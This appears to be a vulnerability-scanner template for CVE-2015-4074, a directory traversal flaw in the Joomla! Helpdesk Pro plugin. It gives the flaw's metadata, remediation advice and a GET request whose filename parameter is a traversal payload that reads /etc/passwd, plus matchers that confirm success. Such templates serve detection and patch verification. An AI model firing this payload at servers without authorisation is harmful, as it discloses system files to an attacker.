id: CVE-2015-4074

info:
  name: Joomla! Helpdesk Pro plugin <1.4.0 - Local File Inclusion
  author: 0x_Akoko
  severity: high
  description: Directory traversal vulnerability in the Helpdesk Pro plugin before 1.4.0 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the filename parameter in a ticket.download_attachment task.
  impact: |
    An attacker can exploit this vulnerability to read sensitive files on the server.
  remediation: |
    Upgrade to Joomla! Helpdesk Pro plugin version 1.4.0 or later to fix the local file inclusion vulnerability.
  reference:
    - https://packetstormsecurity.com/files/132766/Joomla-Helpdesk-Pro-XSS-File-Disclosure-SQL-Injection.html
    - https://www.exploit-db.com/exploits/37666/
    - https://nvd.nist.gov/vuln/detail/CVE-2015-4074
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-4074
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2015-4074
    cwe-id: CWE-22
    epss-score: 0.8582
    epss-percentile: 0.99394
    cpe: cpe:2.3:a:helpdesk_pro_project:helpdesk_pro:*:*:*:*:*:joomla\!:*:*
  metadata:
    max-request: 1
    vendor: helpdesk_pro_project
    product: helpdesk_pro
    framework: joomla\!
  tags: cve2015,cve,lfi,packetstorm,edb,joomla,plugin,helpdesk_pro_project,joomla\!,xss,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/?option=com_helpdeskpro&task=ticket.download_attachment&filename=/../../../../../../../../../../../../etc/passwd&original_filename=AnyFileName.exe"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:[x*]:0:0"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100e531f8314300c1bde344702032189848446cbb409926381061da62dfab70112402204b4701fa9d42ca85f3db47471ad3caf0aba630429220b298b3cb053bc35f6716:922c64590222798bb761d5b6d8e72950